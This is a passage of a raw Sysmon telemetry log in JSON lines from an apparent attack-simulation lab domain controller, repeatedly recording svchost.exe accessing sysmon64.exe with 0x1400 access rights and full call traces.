C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1461,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1462,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1463,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1464,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1465,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1466,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1467,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.750\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 